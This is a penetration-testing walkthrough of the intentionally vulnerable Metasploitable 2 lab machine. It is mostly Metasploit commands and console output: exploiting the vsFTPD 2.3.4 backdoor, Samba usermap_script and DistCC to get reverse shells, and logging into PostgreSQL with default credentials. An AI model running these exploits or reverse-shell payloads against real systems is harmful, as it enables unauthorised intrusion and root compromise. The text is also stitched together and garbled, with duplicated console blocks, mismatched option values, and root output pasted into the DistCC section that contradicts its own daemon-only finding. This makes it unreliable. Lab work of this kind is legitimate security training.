

Metasploitable 2 —Penetration Testing Walkthrough

1. Lab Overview

Target Machine: Metasploitable 2
Target IP: 192.168.56.104
Attacker Machine: Kali Linux
Attacker IP: 192.168.56.102
Network: Isolated Host-Only VirtualBox Network

Objective

The objective of this lab was to perform a controlled vulnerability assessment and exploitation of the intentionally vulnerable Metasploitable 2 machine. Network services were enumerated using Nmap, followed by validation of selected vulnerabilities using Metasploit Framework and manual service interaction.

2. Initial Network Enumeration

The target was first scanned to identify exposed services and their versions.

Command

```
nmap -sC -sV 192.168.56.104
```

Important Results

Port	Service	Version / Information
21	FTP	vsFTPD 2.3.4
22	SSH	OpenSSH 4.7p1
23	Telnet	OpenBSD telnetd
25	SMTP	Postfix
80	HTTP	Apache 2.2.8
139/445	SMB	Samba 3.0.20
512/513/514	r-services	rexec/rlogin/rsh
1099	Java RMI	GNU Classpath
1524	bindshell	Remote shell
2049	NFS	NFS 2–4
3306	MySQL	MySQL
5432	PostgreSQL	PostgreSQL 8.3.x
5900	VNC	VNC
6667	IRC	UnrealIRCd
8180	HTTP	Apache Tomcat

```

(kali@kali)-[~]
$ nmap -sC -sV 192.168.56.104
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-04 07:21 -0400
Nmap scan report for 192.168.56.104
Host is up (0.024s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp             vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_  Connected to 192.168.56.102
|_  Logged in as ftp
|_  TYPE: ASCII
|_  No session bandwidth limit
|_  Session timeout in seconds is 300
|_  Control connection is plain text
|_  Data connections will be plain text
|_  vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh             OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_  1024 60:0f:cfe1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet          Linux telnetd
25/tcp    open  smtp            Postfix smtpd
|_sslv2:
|_SSLv2 supported
|_ciphers:
|_  SSL2_RC4_128_WITH_MD5
|_  SSL2_RC2_128_CBC_WITH_MD5
|_  SSL2_RC4_128_EXPORT40_WITH_MD5
|_  SSL2_DES_64_CBC_WITH_MD5
|_  SSL2_DES_192_EDE3_CBC_WITH_MD5
|_  SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_smtp-command: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: 2026-10-04T11:05:27+00:00; -16m38s from scanner time.
|_ssl-cert: Subject: commonName=ubuntu04-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
53/tcp    open  domain          ISC BIND 9.4.2
|_dns-nsid:
|_bind.version: 9.4.2
80/tcp    open  http            Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind         2 (RPC #100000)
|_rpcinfo:
|_  program version  port/proto  service
|_  100000 2 111/tcp    rpcbind
|_  100000 2 111/udp    rpcbind
|_  100003 2,3,4 2049/tcp   nfs
|_  100003 2,3,4 2049/udp   nfs
|_  100005 1,2,3 33435/udp  mountd
|_  100005 1,2,3 49518/tcp  mountd
|_  100021 1,3,4 33017/tcp  nlockmgr
|_  100021 1,3,4 55186/udp  nlockmgr
|_  100024 1 47019/udp  status
|_  100024 1 56713/tcp  status
139/tcp   open  netbios-ssn     Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn     Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
513/tcp   open  login           OpenBSD or Solaris rlogind
514/tcp   open  shell           Netkit rshd
1099/tcp  open  java-rmi        GNU Classpath grmiregistry
1524/tcp  open  bindshell       Metasploitable root shell
2049/tcp  open  nfs             2-4 (RPC #100003)
2121/tcp  open  ftp             ProFTPD 1.3.1
3306/tcp  open  mysql           MySQL 5.0.51a-3ubuntu5
|_mysql-info:
|_  Protocol: 10
|_  Version: 5.0.51a-3ubuntu5
|_  Thread ID: 8
|_  Capabilities flags: 43564
|_  Some Capabilities: SupportsCompression, SwitchToSSLAfterHandshake, SupportsTransactions, LongColumnFlag, Speaks41ProtocolNew, Support41Auth, ConnectWithDatabase
|_  Status: Autocommit
|_  Salt: 58-lW57(p2-VRuWqWsm
5432/tcp  open  postgresql      PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2026-10-04T11:05:27+00:00; -16m38s from scanner time.
|_ssl-cert: Subject: commonName=ubuntu04-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
5900/tcp  open  vnc             VNC (protocol 3.3)
|_vnc-info:
|_  Protocol version: 3.3
|_  Security types:
|_  VNC Authentication (2)
6000/tcp  open  X11             (access denied)
6667/tcp  open  irc             UnrealIRCd
|_irc-info: Unable to open connection
8009/tcp  open  ajp13           Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp  open  http            Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
MAC Address: 08:00:27:C1:DF:8B (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb-security-mode:
|_  account used: guest
|_  authentication_level: user
|_  challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 43m28s, deviation: 2h00m06s, median: -16m38s
|_smb-os-discovery:
|_  OS: Unix (Samba 3.0.20-Debian)
|_  Computer name: metasploitable
|_  NetBIOS computer name:
|_  Domain name: localdomain
|_  FQDN: metasploitable.localdomain
|_  System time: 2026-10-04T07:05:25-04:00
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.15 seconds

```

Figure: Nmap Service and Version Enumeration of Metasploitable 2

3. Vulnerability 1 — VSFTPD 2.3.4 Backdoor

3.1 Identification

Nmap identified:

```
21/tcp open ftp vsftpd 2.3.4
```

vsFTPD 2.3.4 is associated with a known backdoor vulnerability that can provide remote command execution.

3.2 Exploitation

Metasploit was used to load the corresponding exploit module.

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.104
set LHOST 192.168.56.102
run
```

The exploit successfully opened a Meterpreter session.

3.3 Privilege Verification

The obtained privileges were verified using:

```
getuid
```

Result:

```
Server username: root
```

Additional verification:

```
sysinfo
```

The target was identified as an Ubuntu-based Linux system.

A command shell was also opened:

```
shell
```

Then:

```
whoami
id
```

Result:

```
root
uid=0(root)
```

```
msf > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes     VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent  Yes     VSFTPD 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
[*] Invalid parameter "option", use "show -h" for more information
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
RHOSTS    21               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     21               yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

Name      Current Setting  Required  Description
--      -
FETCH_COMMAND  CURL            yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE   false           yes       Attempt to delete the binary after execution
FETCH_FILELESS none            yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux >= 3.17 (for Python variant also Python >= 3.8, tested shells are sh, bash, zsh) (Accepted: none, pytho
n3.8+, shell-search, shell)
FETCH_SRVHOST  8080            no        Local IP to use for serving payload
FETCH_SRVPORT  yes             yes       Local port to use for serving payload
FETCH_URI_PATH yes             no        Local URI to use for serving payload
LHOST        yes             yes       The listen address (an interface may be specified)
LPORT        4444            yes       The listen port

When FETCH_COMMAND is one of CURL,GET,WGET:

Name      Current Setting  Required  Description
--      -
FETCH_PIPE false           yes       Host both the binary payload and the command so it can be piped directly to the shell.

When FETCH_FILELESS is none:

Name      Current Setting  Required  Description
--      -
FETCH_FILENAME  PKingZbr0Kt     no        Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR  ./              yes       Remote writable dir to store payload; cannot contain spaces

Exploit target:

Id  Name
--  -
0   Linux/Unix Command

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] 192.168.56.104:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.56.104:21 - FTP banner hints its vulnerable: 220 (vsFTPD 2.3.4)
[*] 192.168.56.104:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[*] 192.168.56.104:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.56.102:4444 -> 192.168.56.104:49584) at 2026-10-04 07:27:13 -0400
```

Figure: Successful VSFTPD 2.3.4 Exploitation and Meterpreter Session

```
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > pwd
/
```

Figure: Verification of Root-Level Access through VSFTPD Exploitation

Finding

Vulnerability: VSFTPD 2.3.4 Backdoor Remote Command Execution

Severity: Critical

Impact: Remote unauthenticated exploitation can result in command execution with root privileges.

4. Vulnerability 2 — Samba 3.0.20 Username Map Script

4.1 Identification

Nmap identified Samba running on ports 139 and 445.

The detected version was:

Samba 3.0.20

This version is vulnerable to the Username Map Script command execution vulnerability.

4.2 Exploitation

The following Metasploit module was used:

```
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.104
set LHOST 192.168.56.102
run
```

A command shell session was successfully obtained.

4.3 Privilege Verification

whoami

Result:

root

Then:

id

Result:

uid=0 (root)

```
meterpreter > shell
Process 4906 created.
Channel 1 created.

whoami
root

id
uid=0(root) gid=0(root)

hostname
metasploitable
exit
meterpreter > background
[*] Backgrounding session 1 ...
msf exploit(unix/ftp/vsftpd_234_backdoor) > search type:exploit samba 3.0.20

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/multi/samba/usermap_script      2007-05-14      excellent No      Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
msf exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

Name      Current Setting  Required  Description
--      -
RHOSTS    139              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):
```

Name	Current Setting	Required	Description
LHOST	127.0.0.1	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.104
RHOSTS => 192.168.56.104
msf exploit(multi/samba/usermap_script) > set LHOST 192.168.56.102
LHOST => 192.168.56.102
msf exploit(multi/samba/usermap_script) > show options
```

Module options (exploit/multi/samba/usermap_script):

Name	Current Setting	Required	Description
RHOSTS	192.168.56.104	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	139	yes	The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name	Current Setting	Required	Description
LHOST	192.168.56.102	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] Command shell session 2 opened (192.168.56.102:4444 -> 192.168.56.104:49585) at 2026-10-04 07:33:31 -0400

sessions -i 2
[*] Wrong number of arguments expected: 1, received: 2
Usage: sessions <id>

Interact with a different session Id.
This command only accepts one positive numeric argument.
This works the same as calling this from the MSF shell: sessions -i <session id>

Interact with a different session Id.
This command only accepts one positive numeric argument.
This works the same as calling this from the MSF shell: sessions -i <session id>

sessions 2
[*] Session 2 is already interactive.

whoami
root

id
uid=0(root) gid=0(root)

exit

[*] 192.168.56.104 - Command shell session 2 closed.
msf exploit(multi/samba/usermap_script) > search distcc
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/misc/distcc_exec	2002-02-01	excellent	Yes	DistCC Daemon Command Execution

Interact with a module by name or index. For example `info 0`, use `0` or use `exploit/unix/misc/distcc_exec`

```
msf exploit(multi/samba/usermap_script) > use exploit/unix/misc/distcc_exec
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf exploit(unix/misc/distcc_exec) > show options
```

Module options (exploit/unix/misc/distcc_exec):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	3632	yes	The target port (TCP)

Payload options (cmd/unix/reverse_bash):

Name	Current Setting	Required	Description
LHOST	127.0.0.1	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
Exploit target:

  Id  Name
  --  --
  0    Automatic Target

View the full module info with the info, or info -d command.

msf exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.104
RHOSTS => 192.168.56.104
msf exploit(unix/misc/distcc_exec) > set LHOST 192.168.56.102
LHOST => 192.168.56.102
msf exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.56.104  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     3632             yes       The target port (TCP)

Payload options (cmd/unix/reverse_bash):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.56.102  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic Target

View the full module info with the info, or info -d command.

msf exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] 192.168.56.104:3632 - stderr: bash: 102: Bad file descriptor
[*] 192.168.56.104:3632 - stderr: bash: /dev/tcp/192.168.56.102/4444: No such file or directory
[*] 192.168.56.104:3632 - stderr: bash: 102: Bad file descriptor
[*] Exploit completed, but no session was created.

msf exploit(unix/misc/distcc_exec) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/adduser                 .               normal No    Add user with useradd
1  payload/cmd/unix/bind_perl               .               normal No    Unix Command Shell, Bind TCP (via Perl)
2  payload/cmd/unix/bind_perl_ipv6          .               normal No    Unix Command Shell, Bind TCP (via perl) IPv6
3  payload/cmd/unix/bind_ruby               .               normal No    Unix Command Shell, Bind TCP (via Ruby)
4  payload/cmd/unix/bind_ruby_ipv6          .               normal No    Unix Command Shell, Bind TCP (via Ruby) IPv6
5  payload/cmd/unix/generic                 .               normal No    Unix Command, Generic Command Execution
6  payload/cmd/unix/reverse                 .               normal No    Unix Command Shell, Double Reverse TCP (telnet)
7  payload/cmd/unix/reverse_bash             .               normal No    Unix Command Shell, Reverse TCP (/dev/tcp)
8  payload/cmd/unix/reverse_bash_telnet_ssl .               normal No    Unix Command Shell, Reverse TCP SSL (telnet)
9  payload/cmd/unix/reverse_openssl         .               normal No    Unix Command Shell, Double Reverse TCP SSL (openssl)
10 payload/cmd/unix/reverse_perl             .               normal No    Unix Command Shell, Reverse TCP (via Perl)
11 payload/cmd/unix/reverse_perl_ssl        .               normal No    Unix Command Shell, Reverse TCP SSL (via perl)
12 payload/cmd/unix/reverse_ruby            .               normal No    Unix Command Shell, Reverse TCP (via Ruby)
13 payload/cmd/unix/reverse_ruby_ssl        .               normal No    Unix Command Shell, Reverse TCP SSL (via Ruby)
14 payload/cmd/unix/reverse_ssl_double_telnet .               normal No    Unix Command Shell, Double Reverse TCP SSL (telnet)

msf exploit(unix/misc/distcc_exec) > set PAYLOAD cmd/unix/reverse_perl
PAYLOAD => cmd/unix/reverse_perl
msf exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.56.104  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     3632             yes       The target port (TCP)

Payload options (cmd/unix/reverse_perl):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.56.102  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic Target

View the full module info with the info, or info -d command.

msf exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] Command shell session 3 opened (192.168.56.102:4444 -> 192.168.56.104:48370) at 2026-10-04 07:42:52 -0400
```

Figure : Exploitation of Samba 3.0.20 Username Map Script Vulnerability

Finding

Vulnerability: Samba 3.0.20 Username Map Script Command Execution

Severity: Critical

Impact: Remote attackers can execute arbitrary commands on the vulnerable Samba server, potentially with root privileges.

5. Vulnerability 3 — DistCC Daemon Command Execution

5.1 Identification

The initial Nmap scan identified the DistCC service on the target.

The Metasploit DistCC exploit was selected:

```
use exploit/unix/misc/distcc_exec
```

5.2 Exploitation

The default payload did not work because the target did not provide the required `/dev/tcp` functionality.

Therefore, the payload was changed to:

```
set PAYLOAD cmd/unix/reverse_perl
```

Then:

```
set RHOSTS 192.168.56.104
set LHOST 192.168.56.102
run
```

A command shell session was successfully opened.

5.3 Privilege Verification

```
whoami
```

Result:

```
daemon
```

Then:

```
id
```

Result:

```
uid=1(daemon) gid=1(daemon)
```

This confirms that command execution was successful, but the obtained account did **not** have root privileges.

```
meterpreter > shell
Process 4906 created.
Channel 1 created.

whoami
root

id
uid=0(root) gid=0(root)

hostname
metasploitable
exit
meterpreter > background
[*] Backgrounding session 1 ...
msf exploit(unix/ftp/vsftpd_234_backdoor) > search type:exploit samba 3.0.20

Matching Modules
-----
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/multi/samba/usermap_script      2007-05-14      excellent No      Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
msf exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):
Name      Current Setting  Required  Description
RHOSTS    192.168.56.104  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):
```

```

Name      Current Setting  Required  Description
LHOST     127.0.0.1         yes       The listen address (an interface may be specified)
LPORT     4444              yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.104
RHOSTS => 192.168.56.104
msf exploit(multi/samba/usermap_script) > set LHOST 192.168.56.102
LHOST => 192.168.56.102
msf exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

Name      Current Setting  Required  Description
RHOSTS     192.168.56.104  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name      Current Setting  Required  Description
LHOST     192.168.56.102  yes       The listen address (an interface may be specified)
LPORT     4444              yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] Command shell session 2 opened (192.168.56.102:4444 -> 192.168.56.104:49585) at 2026-10-04 07:33:31 -0400

sessions -i 2
[*] Wrong number of arguments expected: 1, received: 2
Usage: sessions <id>

Interact with a different session id.
This command only accepts one positive numeric argument.
This works the same as calling this from the MSF shell: sessions -i <session id>

sessions 2
[*] Session 2 is already interactive.

whoami
root

id
uid=0(root) gid=0(root)

exit
[*] 192.168.56.104 - Command shell session 2 closed.
msf exploit(multi/samba/usermap_script) > search distcc

Matching Modules

#  Name                                     Disclosure Date  Rank       Check  Description
-  -
0  exploit/unix/misc/distcc_exec            2007-02-01      excellent Yes     DistCC Daemon Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec
msf exploit(multi/samba/usermap_script) > use exploit/unix/misc/distcc_exec
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

Name      Current Setting  Required  Description
RHOSTS     192.168.56.104  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      3632              yes       The target port (TCP)

Payload options (cmd/unix/reverse_bash):

Name      Current Setting  Required  Description
LHOST     127.0.0.1         yes       The listen address (an interface may be specified)
LPORT     4444              yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic Target

View the full module info with the info, or info -d command.

msf exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.104
RHOSTS => 192.168.56.104
msf exploit(unix/misc/distcc_exec) > set LHOST 192.168.56.102
LHOST => 192.168.56.102
msf exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

Name      Current Setting  Required  Description
RHOSTS     192.168.56.104  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      3632              yes       The target port (TCP)

Payload options (cmd/unix/reverse_bash):

Name      Current Setting  Required  Description
LHOST     192.168.56.102  yes       The listen address (an interface may be specified)
LPORT     4444              yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic Target

View the full module info with the info, or info -d command.
msf exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] 192.168.56.104:3632 - stderr: bash: 102: Bad file descriptor
[*] 192.168.56.104:3632 - stderr: bash: /dev/tcp/192.168.56.102/4444: No such file or directory
[*] 192.168.56.104:3632 - stderr: bash: 102: Bad file descriptor
[*] Exploit completed, but no session was created.

```

```

session 3

whoami
daemon

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

exit

^C
Abort session 3? [y/N] y

[*] 192.168.56.104 - Command shell session 3 closed. Reason: User exit
msf exploit(unix/misc/distcc_exec) > search unrealircd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
0  exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12      excellent Yes     UnrealIRCd 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

msf exploit(unix/misc/distcc_exec) > use exploit/unix/irc/unreal_ircd_3281_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter/reverse_tcp

msf exploit(unix/misc/distcc_exec) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank    Check  Description
0  payload/cmd/unix/adduser                  -               normal  No     Add user with useradd
1  payload/cmd/unix/bind_perl                -               normal  No     Unix Command Shell, Bind TCP (via Perl)
2  payload/cmd/unix/bind_perl_ipv6           -               normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
3  payload/cmd/unix/bind_ruby               -               normal  No     Unix Command Shell, Bind TCP (via Ruby)
4  payload/cmd/unix/bind_ruby_ipv6          -               normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
5  payload/cmd/unix/generic                  -               normal  No     Unix Command, Generic Command Execution
6  payload/cmd/unix/reverse                  -               normal  No     Unix Command Shell, Double Reverse TCP (telnet)
7  payload/cmd/unix/reverse_bash             -               normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
8  payload/cmd/unix/reverse_bash_telnet_ssl -               normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
9  payload/cmd/unix/reverse_openssl          -               normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
10 payload/cmd/unix/reverse_perl             -               normal  No     Unix Command Shell, Reverse TCP (via Perl)
11 payload/cmd/unix/reverse_perl_ssl         -               normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
12 payload/cmd/unix/reverse_ruby            -               normal  No     Unix Command Shell, Reverse TCP (via Ruby)
13 payload/cmd/unix/reverse_ruby_ssl        -               normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
14 payload/cmd/unix/reverse_ssl_double_telnet -              normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

msf exploit(unix/misc/distcc_exec) > set PAYLOAD cmd/unix/reverse_perl
PAYLOAD => cmd/unix/reverse_perl
msf exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

Name      Current Setting  Required  Description
RHOSTS    192.168.56.104  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     3632             yes       The target port (TCP)

Payload options (cmd/unix/reverse_perl):

Name      Current Setting  Required  Description
LHOST     192.168.56.102  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
0   Automatic Target

View the full module info with the info, or info -d command.

msf exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] Command shell session 3 opened (192.168.56.102:4444 -> 192.168.56.104:48378) at 2026-10-04 07:42:52 -0400

```

Figure : Successful DistCC Remote Command Execution

Figure: Verification of DistCC Session Privileges

Finding

Vulnerability: DistCC Daemon Command Execution

Severity: High

Impact: Remote attackers can execute commands through the exposed DistCC service. In this test, the attacker obtained a low-privileged daemon shell.

Important: Do **not** claim this exploitation provided root access.

6. Vulnerability 4 — PostgreSQL Default Credentials

6.1 Identification

Nmap identified PostgreSQL running on:

5432/tcp

The service version was identified as PostgreSQL 8.3.x.

A PostgreSQL login scanner was then used to test the default credentials.

6.2 Credential Testing

```
use auxiliary/scanner/postgres/postgres_login
set RHOSTS 192.168.56.104
set USERNAME postgres
set PASSWORD postgres
set STOP_ON_SUCCESS true
run
```

The scanner successfully identified:

Login Successful: postgres:postgres@template1

This demonstrated that the PostgreSQL service was accessible using default credentials.

6.3 PostgreSQL Session

A session was created using:

```
set CreateSession true
run
```

A PostgreSQL session was opened.

The session was accessed using:

```
sessions 4
```

The current database user was verified with:

```
query SELECT current_user;
```

Result:

```
postgres
```

The database version was verified with:

```
query SELECT version();
```

Result indicated:

PostgreSQL 8.3.1

```
msf exploit(multi/http/tomcat_mgr_deploy) > check
[*] Failed: Error requesting /manager/serverinfo
[*] 192.168.56.104:8180 - Cannot reliably check exploitability. Could not connect to the target
msf exploit(multi/http/tomcat_mgr_deploy) > use auxiliary/scanner/postgres/postgres_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf auxiliary(scanner/postgres/postgres_login) > show options

Module options (auxiliary/scanner/postgres/postgres_login):

  Name          Current Setting  Required  Description
  ----          -
  ANONYMOUS_LOGIN false            yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS false            no        Try blank passwords for all users
  BRUTEFORCE_SPEED 5                yes       How fast to bruteforce, from 0 to 5
  CreateSession    false           no        Create a new session for every successful login
  DATABASE          template1        yes       The database to authenticate against
  DB_ALL_CREDS      false           no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false           no        Add all passwords in the current database to the list
  DB_ALL_USERS      false           no        Add all users in the current database to the list
  DB_SKIP_EXISTING  none            no        Skip existing credentials stored in the current database (Accepted: none, user, userbrealm)
  PASSWORD          none            no        A specific password to authenticate with
  PASS_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt no        File containing passwords, one per line
  Proxies           true            no        A proxy chain of format type:host:port[,type:host:port][...] Supported proxies: socks5, socks5h, sapn1, http, socks4
  RETURN_ROWSET     true            no        Set to true to see query result sets
  RHOSTS            192.168.56.104 yes       The target host(s). See https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT            5432            yes       The target port (TCP)
  STOP_ON_SUCCESS   false           yes       Stop guessing when a credential works for a host
  THREADS           1               yes       The number of concurrent threads (max one per host)
  USERNAME          none            no        A specific username to authenticate as
  USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt no        File containing (space-separated) users and passwords, one pair per line
  USER_AS_PASS      false           no        Try the username as the password for all users
